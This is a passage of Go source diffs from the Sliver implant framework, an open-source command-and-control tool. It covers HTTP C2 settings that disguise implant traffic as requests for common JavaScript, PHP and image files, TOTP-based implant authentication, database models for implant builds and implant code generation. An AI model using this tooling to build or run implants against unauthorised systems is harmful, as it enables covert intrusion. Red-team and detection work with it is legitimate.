PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomKeyExchangeFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.KeyExchangeFiles, h.KeyExchangeFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomKeyExchangePaths() []string {
|
||||
return h.randomSample(h.KeyExchangePaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPollFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.PollFiles, h.PollFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPollPaths() []string {
|
||||
return h.randomSample(h.PollPaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomCloseFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.CloseFiles, h.CloseFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomClosePaths() []string {
|
||||
return h.randomSample(h.ClosePaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomSessionFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.SessionFiles, h.SessionFileExt, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomSessionPaths() []string {
|
||||
return h.randomSample(h.SessionPaths, "", h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) randomSample(values []string, ext string, min int, max int) []string {
|
||||
count := insecureRand.Intn(len(values))
|
||||
if count < min {
|
||||
count = min
|
||||
}
|
||||
if max < count {
|
||||
count = max
|
||||
}
|
||||
sample := []string{}
|
||||
for i := 0; len(sample) < count; i++ {
|
||||
index := (count + i) % len(values)
|
||||
sample = append(sample, values[index])
|
||||
}
|
||||
return sample
|
||||
}
|
||||
|
||||
var (
|
||||
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
|
||||
|
||||
defaultHTTPC2Config = HTTPC2Config{
|
||||
ServerConfig: &HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: true,
|
||||
Cookies: []string{
|
||||
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
|
||||
},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
|
||||
StagerFileExt: ".woff",
|
||||
|
||||
KeyExchangeFileExt: ".txt",
|
||||
KeyExchangeFiles: []string{
|
||||
"robots", "sample", "readme", "example",
|
||||
},
|
||||
KeyExchangePaths: []string{
|
||||
"static", "www", "assets", "text", "docs", "sample", "data", "readme",
|
||||
"examples",
|
||||
},
|
||||
|
||||
PollFileExt: ".js",
|
||||
PollFiles: []string{
|
||||
"bootstrap", "bootstrap.min", "jquery.min", "jquery", "route",
|
||||
"app", "app.min", "array", "backbone", "script", "email",
|
||||
},
|
||||
PollPaths: []string{
|
||||
"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts",
|
||||
"javascript", "jscript",
|
||||
},
|
||||
|
||||
StartSessionFileExt: ".phtml",
|
||||
SessionFileExt: ".php",
|
||||
SessionFiles: []string{
|
||||
"login", "signin", "api", "samples", "rpc", "index",
|
||||
"admin", "register", "sign-up",
|
||||
},
|
||||
SessionPaths: []string{
|
||||
"php", "api", "upload", "actions", "rest", "v1", "auth", "authenticate",
|
||||
"oauth", "oauth2", "oauth2callback", "database", "db", "namespaces",
|
||||
},
|
||||
|
||||
CloseFileExt: ".png",
|
||||
CloseFiles: []string{
|
||||
"favicon", "sample", "example",
|
||||
},
|
||||
ClosePaths: []string{
|
||||
"static", "www", "assets", "images", "icons", "image", "icon", "png",
|
||||
},
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// GetHTTPC2ConfigPath - File path to http-c2.json
|
||||
func GetHTTPC2ConfigPath() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
|
||||
return httpC2ConfigPath
|
||||
}
|
||||
|
||||
// GetHTTPC2Config - Get the current HTTP C2 config
|
||||
func GetHTTPC2Config() *HTTPC2Config {
|
||||
configPath := GetHTTPC2ConfigPath()
|
||||
if _, err := os.Stat(configPath); os.IsNotExist(err) {
|
||||
err = generateDefaultConfig(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
config := &HTTPC2Config{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
return config
|
||||
}
|
||||
|
||||
func generateDefaultConfig(saveTo string) error {
|
||||
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(saveTo, data, 0600)
|
||||
}
|
||||
|
||||
var (
|
||||
ErrMissingCookies = errors.New("server config must specify at least one cookie")
|
||||
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
|
||||
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
|
||||
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
|
||||
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
|
||||
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
|
||||
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
|
||||
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
|
||||
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
|
||||
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
|
||||
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
|
||||
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
|
||||
|
||||
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
|
||||
)
|
||||
|
||||
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
|
||||
func CheckHTTPC2Config(config *HTTPC2Config) error {
|
||||
err := checkServerConfig(config.ServerConfig)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return checkImplantConfig(config.ImplantConfig)
|
||||
}
|
||||
|
||||
func coerceFileExt(value string) string {
|
||||
value = fileNameExp.ReplaceAllString(value, "")
|
||||
for strings.HasPrefix(value, ".") {
|
||||
value = strings.TrimPrefix(value, ".")
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func coerceFiles(values []string, ext string) []string {
|
||||
values = uniqueFileName(values)
|
||||
coerced := []string{}
|
||||
for _, value := range values {
|
||||
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
|
||||
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
|
||||
}
|
||||
coerced = append(coerced, value)
|
||||
}
|
||||
return coerced
|
||||
}
|
||||
|
||||
func uniqueFileName(strSlice []string) []string {
|
||||
allKeys := make(map[string]bool)
|
||||
list := []string{}
|
||||
for _, item := range strSlice {
|
||||
item = fileNameExp.ReplaceAllString(item, "")
|
||||
if len(item) < 1 {
|
||||
continue
|
||||
}
|
||||
if _, value := allKeys[item]; !value {
|
||||
allKeys[item] = true
|
||||
list = append(list, item)
|
||||
}
|
||||
}
|
||||
return list
|
||||
}
|
||||
|
||||
func checkServerConfig(config *HTTPC2ServerConfig) error {
|
||||
if len(config.Cookies) < 1 {
|
||||
return ErrMissingCookies
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func checkImplantConfig(config *HTTPC2ImplantConfig) error {
|
||||
|
||||
// MinFiles and MaxFiles
|
||||
if config.MinFiles < 1 {
|
||||
config.MinFiles = 1
|
||||
}
|
||||
if config.MaxFiles < config.MinFiles {
|
||||
config.MaxFiles = config.MinFiles
|
||||
}
|
||||
|
||||
// MinPaths and MaxPaths
|
||||
if config.MinPaths < 0 {
|
||||
config.MinPaths = 0
|
||||
}
|
||||
if config.MaxPaths < config.MinPaths {
|
||||
config.MaxPaths = config.MinPaths
|
||||
}
|
||||
|
||||
// Stager
|
||||
config.StagerFileExt = coerceFileExt(config.StagerFileExt)
|
||||
if config.StagerFileExt == "" {
|
||||
return ErrMissingStagerFileExt
|
||||
}
|
||||
|
||||
// Key Exchange
|
||||
config.KeyExchangeFileExt = coerceFileExt(config.KeyExchangeFileExt)
|
||||
if config.KeyExchangeFileExt == "" {
|
||||
return ErrMissingKeyExchangeFileExt
|
||||
}
|
||||
config.KeyExchangeFiles = coerceFiles(config.KeyExchangeFiles, config.KeyExchangeFileExt)
|
||||
if len(config.KeyExchangeFiles) < 1 {
|
||||
return ErrTooFewKeyExchangeFiles
|
||||
}
|
||||
|
||||
// Poll Settings
|
||||
config.PollFileExt = coerceFileExt(config.PollFileExt)
|
||||
if config.PollFileExt == "" {
|
||||
return ErrMissingPollFileExt
|
||||
}
|
||||
config.PollFiles = coerceFiles(config.PollFiles, config.PollFileExt)
|
||||
if len(config.PollFiles) < 1 {
|
||||
return ErrTooFewPollFiles
|
||||
}
|
||||
|
||||
// Session Settings
|
||||
config.StartSessionFileExt = coerceFileExt(config.StartSessionFileExt)
|
||||
if config.StartSessionFileExt == "" {
|
||||
return ErrMissingStartSessionFileExt
|
||||
}
|
||||
config.SessionFileExt = coerceFileExt(config.SessionFileExt)
|
||||
if config.SessionFileExt == "" {
|
||||
return ErrMissingSessionFileExt
|
||||
}
|
||||
config.SessionFiles = coerceFiles(config.SessionFiles, config.StartSessionFileExt)
|
||||
config.SessionFiles = coerceFiles(config.SessionFiles, config.SessionFileExt)
|
||||
if len(config.SessionFiles) < 1 {
|
||||
return ErrTooFewSessionFiles
|
||||
}
|
||||
|
||||
// Close Settings
|
||||
config.CloseFileExt = coerceFileExt(config.CloseFileExt)
|
||||
if config.CloseFileExt == "" {
|
||||
return ErrMissingCloseFileExt
|
||||
}
|
||||
config.CloseFiles = coerceFiles(config.CloseFiles, config.CloseFileExt)
|
||||
if len(config.CloseFiles) < 1 {
|
||||
return ErrTooFewCloseFiles
|
||||
}
|
||||
|
||||
// Unique file extensions
|
||||
allExtensions := map[string]bool{}
|
||||
extensions := []string{
|
||||
config.StagerFileExt,
|
||||
config.KeyExchangeFileExt,
|
||||
config.PollFileExt,
|
||||
config.StartSessionFileExt,
|
||||
config.SessionFileExt,
|
||||
config.CloseFileExt,
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if _, ok := allExtensions[ext]; ok {
|
||||
return ErrNonuniqueFileExt
|
||||
}
|
||||
allExtensions[ext] = true
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
var (
|
||||
fileExtCoercions = map[string]string{
|
||||
"js": "js",
|
||||
".js": "js",
|
||||
"/.js": "js",
|
||||
"/.es6": "es6",
|
||||
".mp4": "mp4",
|
||||
}
|
||||
)
|
||||
|
||||
func TestCoerceFileExt(t *testing.T) {
|
||||
for input, output := range fileExtCoercions {
|
||||
if value := coerceFileExt(input); value != output {
|
||||
t.Fatalf("'%s' was parsed as '%s', expected '%s'", input, value, output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultConfig(t *testing.T) {
|
||||
data, err := json.Marshal(defaultHTTPC2Config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var config *HTTPC2Config
|
||||
err = json.Unmarshal(data, &config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPollConfig(t *testing.T) {
|
||||
|
||||
// Missing PollFileExt
|
||||
config := defaultHTTPC2Config
|
||||
origPollFileExt := config.ImplantConfig.PollFileExt
|
||||
for _, ext := range []string{"", ".", "..."} {
|
||||
config.ImplantConfig.PollFileExt = ext
|
||||
err := CheckHTTPC2Config(&config)
|
||||
if err != ErrMissingPollFileExt {
|
||||
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
|
||||
}
|
||||
}
|
||||
config.ImplantConfig.PollFileExt = origPollFileExt
|
||||
|
||||
// Missing PollFiles
|
||||
emptyPollFiles := [][]string{
|
||||
{},
|
||||
{""},
|
||||
{"/"},
|
||||
{"", "", ""},
|
||||
{"/", "/", "/"},
|
||||
}
|
||||
origPollFiles := config.ImplantConfig.PollFiles
|
||||
for _, empty := range emptyPollFiles {
|
||||
config.ImplantConfig.PollFiles = empty
|
||||
err := CheckHTTPC2Config(&config)
|
||||
if err != ErrTooFewPollFiles {
|
||||
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
|
||||
}
|
||||
}
|
||||
config.ImplantConfig.PollFiles = origPollFiles
|
||||
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package console
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"testing"
|
||||
|
||||
clienttransport "github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
)
|
||||
|
||||
func TestRootOnlyVerifyCertificate(t *testing.T) {
|
||||
certs.SetupCAs()
|
||||
|
||||
data, err := NewPlayerConfig("zerocool", "localhost", uint16(1337))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to generate test player profile %s", err)
|
||||
}
|
||||
config := &ClientConfig{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to parse client config %s", err)
|
||||
}
|
||||
|
||||
_, _, err = certs.OperatorServerGetCertificate("localhost")
|
||||
if err == certs.ErrCertDoesNotExist {
|
||||
certs.OperatorServerGenerateCertificate("localhost")
|
||||
}
|
||||
|
||||
// Test with a valid certificate
|
||||
certPEM, _, _ := certs.OperatorServerGetCertificate("localhost")
|
||||
block, _ := pem.Decode(certPEM)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err != nil {
|
||||
t.Fatalf("root only verify certificate error: %s", err)
|
||||
}
|
||||
|
||||
// Test with wrong CA
|
||||
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
|
||||
block, _ = pem.Decode(wrongCert)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err == nil {
|
||||
t.Fatal("root only verify cert verified a certificate with invalid ca!")
|
||||
}
|
||||
|
||||
}
|
||||
@@ -36,7 +36,7 @@ var (
|
||||
sessions: map[uint32]*Session{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
hiveID = uint32(0)
|
||||
rollingSessionID = uint32(0)
|
||||
|
||||
// ErrUnknownMessageType - Returned if the implant did not understand the message for
|
||||
// example when the command is not supported on the platform
|
||||
@@ -212,8 +212,8 @@ func (s *sessions) Remove(sessionID uint32) {
|
||||
|
||||
// NextSessionID - Returns an incremental nonce as an id
|
||||
func NextSessionID() uint32 {
|
||||
newID := hiveID + 1
|
||||
hiveID++
|
||||
newID := rollingSessionID + 1
|
||||
rollingSessionID++
|
||||
return newID
|
||||
}
|
||||
|
||||
|
||||
@@ -30,6 +30,14 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -38,11 +46,15 @@ const (
|
||||
|
||||
// GCMNonceSize - 96 bit nonces for GCM
|
||||
GCMNonceSize = 12
|
||||
|
||||
// TOTPDigits - Number of digits in the TOTP
|
||||
TOTPDigits = 8
|
||||
TOTPPeriod = uint(30)
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrInvalidKeyLength - Invalid key length
|
||||
ErrInvalidKeyLength = errors.New("Invalid length")
|
||||
ErrInvalidKeyLength = errors.New("invalid length")
|
||||
)
|
||||
|
||||
// AESKey - 256 bit key
|
||||
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// TOTPOptions - Customized totp validation options
|
||||
func TOTPOptions() totp.ValidateOpts {
|
||||
return totp.ValidateOpts{
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
Skew: uint(1),
|
||||
}
|
||||
}
|
||||
|
||||
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
|
||||
// is for the implant to prove it was generated by this server. To that end we simply
|
||||
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
|
||||
// you'd have to extract the totp secret from a binary generated by the server.
|
||||
func TOTPServerSecret() (string, error) {
|
||||
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
|
||||
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
|
||||
return totpGenerateSecret(totpSecretPath)
|
||||
} else {
|
||||
data, err := ioutil.ReadFile(totpSecretPath)
|
||||
return string(data), err
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateTOTP - Validate a TOTP code
|
||||
func ValidateTOTP(code string) (bool, error) {
|
||||
secret, err := TOTPServerSecret()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return valid, nil
|
||||
}
|
||||
|
||||
func totpGenerateSecret(saveTo string) (string, error) {
|
||||
otpSecret, err := totp.Generate(totp.GenerateOpts{
|
||||
Issuer: "foo",
|
||||
AccountName: "bar",
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
secret := otpSecret.Secret()
|
||||
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
|
||||
return secret, err
|
||||
}
|
||||
@@ -34,6 +34,18 @@ var (
|
||||
ErrRecordNotFound = gorm.ErrRecordNotFound
|
||||
)
|
||||
|
||||
// ImplantConfigByID - Fetch implant build by name
|
||||
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
|
||||
config := models.ImplantConfig{}
|
||||
err := Session().Where(&models.ImplantConfig{
|
||||
ID: uuid.FromStringOrNil(id),
|
||||
}).First(&config).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &config, err
|
||||
}
|
||||
|
||||
// ImplantBuilds - Return all implant builds
|
||||
func ImplantBuilds() ([]*models.ImplantBuild, error) {
|
||||
builds := []*models.ImplantBuild{}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package models
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
|
||||
@@ -34,8 +34,12 @@ type ImplantBuild struct {
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
|
||||
Name string `gorm:"unique;"`
|
||||
// Checksum stores the MD5 sum of an implant binary
|
||||
Checksum string
|
||||
|
||||
// Checksums stores of the implant binary
|
||||
MD5 string
|
||||
SHA1 string
|
||||
SHA256 string
|
||||
|
||||
// Burned indicates whether the implant
|
||||
// has been seen on threat intel platforms
|
||||
Burned bool
|
||||
@@ -68,7 +72,6 @@ type ImplantConfig struct {
|
||||
GOARCH string
|
||||
|
||||
// Standard
|
||||
// Name string
|
||||
CACert string
|
||||
Cert string
|
||||
Key string
|
||||
@@ -78,6 +81,7 @@ type ImplantConfig struct {
|
||||
ReconnectInterval uint32
|
||||
PollInterval uint32
|
||||
MaxConnectionErrors uint32
|
||||
ConnectionStrategy string
|
||||
|
||||
WGImplantPrivKey string
|
||||
WGServerPubKey string
|
||||
@@ -127,6 +131,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
// ToProtobuf - Convert ImplantConfig to protobuf equiv
|
||||
func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
config := &clientpb.ImplantConfig{
|
||||
ID: ic.ID.String(),
|
||||
|
||||
GOOS: ic.GOOS,
|
||||
GOARCH: ic.GOARCH,
|
||||
|
||||
@@ -140,6 +146,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
ReconnectInterval: ic.ReconnectInterval,
|
||||
PollInterval: ic.PollInterval,
|
||||
MaxConnectionErrors: ic.MaxConnectionErrors,
|
||||
ConnectionStrategy: ic.ConnectionStrategy,
|
||||
|
||||
LimitDatetime: ic.LimitDatetime,
|
||||
LimitDomainJoined: ic.LimitDomainJoined,
|
||||
|
||||
+65
-81
@@ -21,11 +21,11 @@ package generate
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -35,6 +35,8 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/gogo"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.Cert = string(sliverCert)
|
||||
config.Key = string(sliverKey)
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.WGServerPubKey = serverPubKey
|
||||
}
|
||||
|
||||
err = ImplantConfigSave(config)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
|
||||
binDir := path.Join(projectGoPathDir, "bin")
|
||||
os.MkdirAll(binDir, 0700)
|
||||
@@ -511,106 +523,74 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// Load code template
|
||||
renderFiles := srcFiles
|
||||
_, isSupportedTarget := SupportedCompilerTargets[fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH)]
|
||||
if !isSupportedTarget {
|
||||
buildLog.Warnf("Unsupported compiler target, using generic src files ...")
|
||||
renderFiles = genericSrcFiles
|
||||
}
|
||||
for index, boxName := range renderFiles {
|
||||
|
||||
// Gobfuscate doesn't handle all the platform specific code
|
||||
// well and the renamer can get confused when symbols for a
|
||||
// different OS don't show up. So we just filter out anything
|
||||
// we're not actually going to compile into the final binary
|
||||
suffix := ".go"
|
||||
if strings.Contains(boxName, "_") {
|
||||
fileNameParts := strings.Split(boxName, "_")
|
||||
suffix = "_" + fileNameParts[len(fileNameParts)-1]
|
||||
|
||||
// Test files get skipped
|
||||
if strings.HasSuffix(boxName, "_test.go") {
|
||||
buildLog.Infof("Skipping (test): %s", boxName)
|
||||
continue
|
||||
}
|
||||
|
||||
// We only include "_default.go" files for "unsupported" platforms i.e., not windows/darwin/linux
|
||||
if suffix == DefaultSuffix && isSupportedTarget {
|
||||
buildLog.Infof("Skipping default file (target is supported): %s", boxName)
|
||||
continue
|
||||
}
|
||||
|
||||
// Only include code for our target goos/goarch
|
||||
if isSupportedTarget {
|
||||
osSuffix := fmt.Sprintf("_%s.go", strings.ToLower(config.GOOS))
|
||||
archSuffix := fmt.Sprintf("_%s.go", strings.ToLower(config.GOARCH))
|
||||
if !strings.HasSuffix(boxName, osSuffix) && !strings.HasSuffix(boxName, archSuffix) {
|
||||
buildLog.Infof("Skipping file wrong os/arch: %s", boxName)
|
||||
continue
|
||||
}
|
||||
}
|
||||
err = fs.WalkDir(implant.FS, ".", func(fsPath string, f fs.DirEntry, err error) error {
|
||||
if f.IsDir() {
|
||||
return nil
|
||||
}
|
||||
buildLog.Debugf("Walking: %s %s %v", fsPath, f.Name(), err)
|
||||
|
||||
sliverGoCodeRaw, err := implant.FS.ReadFile(path.Join("sliver", boxName))
|
||||
sliverGoCodeRaw, err := implant.FS.ReadFile(fsPath)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to read %s: %s", boxName, err)
|
||||
continue
|
||||
buildLog.Errorf("Failed to read %s: %s", fsPath, err)
|
||||
return nil
|
||||
}
|
||||
sliverGoCode := string(sliverGoCodeRaw)
|
||||
|
||||
// We need to correct for the "github.com/bishopfox/sliver/implant/sliver/foo" imports,
|
||||
// since Go doesn't allow relative imports and "sliver" is a subdirectory of
|
||||
// the main "sliver" repo we need to fake this when copying the code
|
||||
// to our per-compile "GOPATH"
|
||||
var sliverCodePath string
|
||||
dirName := filepath.Dir(boxName)
|
||||
var fileName string
|
||||
// Skip dllmain files for anything non windows
|
||||
if boxName == "sliver.h" || boxName == "sliver.c" {
|
||||
if f.Name() == "sliver.c" || f.Name() == "sliver.h" {
|
||||
if !config.IsSharedLib && !config.IsShellcode {
|
||||
continue
|
||||
return nil
|
||||
}
|
||||
}
|
||||
if config.Debug || strings.HasSuffix(boxName, ".c") || strings.HasSuffix(boxName, ".h") {
|
||||
fileName = filepath.Base(boxName)
|
||||
} else {
|
||||
fileName = fmt.Sprintf("s%d%s", index, suffix)
|
||||
}
|
||||
if dirName != "." {
|
||||
// Add an extra "sliver" dir
|
||||
dirPath := path.Join(sliverPkgDir, "implant", "sliver", dirName)
|
||||
if _, err := os.Stat(dirPath); os.IsNotExist(err) {
|
||||
buildLog.Infof("[mkdir] %#v", dirPath)
|
||||
err = os.MkdirAll(dirPath, 0700)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
sliverCodePath = path.Join(dirPath, fileName)
|
||||
} else {
|
||||
sliverCodePath = path.Join(sliverPkgDir, fileName)
|
||||
}
|
||||
|
||||
var sliverCodePath string
|
||||
if f.Name() == "sliver.go" || f.Name() == "sliver.c" || f.Name() == "sliver.h" {
|
||||
sliverCodePath = path.Join(sliverPkgDir, f.Name())
|
||||
} else {
|
||||
